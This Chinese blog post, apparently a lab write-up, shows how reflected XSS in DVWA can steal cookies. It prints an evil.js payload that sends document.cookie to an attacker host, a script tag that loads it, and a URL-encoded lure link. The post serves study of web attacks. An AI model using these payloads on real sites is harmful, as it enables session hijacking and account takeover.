利用XSS获取cookie

本文通过实验展示了如何利用XSS漏洞盗取用户Cookie。介绍了XSS攻击的基础知识,包括常见的特殊字符及其如何被用于构造恶意脚本。通过具体步骤说明了攻击过程,并解释了这种攻击方式可能带来的严重后果。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

如果web应用在用户输入的地方没有过滤特殊字符,比如<, >, ', ", <script>, javascript 等字符,而且在变量输出的地方没有使用安全的编码函数,比如PHP的htmlentities()htmlspecialchars()函数,JavaScript中的escapeJavascript函数,这样的web应用极易出现XSS漏洞。XSS攻击的危害主要有盗取用户cookie、跳转到恶意网站等,危害巨大,常年居Owasp top 10前三。

为了理解XSS盗取cookie的原理,进行实验。实验需准备:(1)两台主机,主机A(IP地址为IPa)的用户正在浏览具有XSS的网站,主机B(IP地址为IPb)运行着攻击者的恶意代码。(2)DVWA安全等级设为low,充当具有XSS漏洞的网站。
攻击者先上传一个JavaScript脚本到主机B上,即xss payload,这段脚本命名为evil.js,可以这样写:

var img = document.createElement("img");
img.src = "http://IPb/log?"+escape(document.cookie);
document.body.appendChild(img);

这段代码将document.cookie作为对象传到主机B上。http://IPb/log可以存在,也可以不存在,因为这个请求会在主机B的服务器日志中留下日志。

主机A打开DVWA网站的XSS选项,在what’s your name输入框输入:<script src=http://IPb/evil.js ></script>并提交:
这里写图片描述

此时主机A的cookie值就会发送到主机B上,查看主机B的web日志:
这里写图片描述
发现主机A的cookie值已经存在web日志里了。

虽然是实验,但是如果DVWA有XSS漏洞,而攻击者构造一个http://IP/DVWA/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2FIPb%2Fevil.js+%3E%3C%2Fscript%3E#,诱骗了用户点击,那么用户的cookie就会发到主机B上,攻击者就可以登录受害者的账户了。

本实验中的xss payload参考《白帽子讲web安全》

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值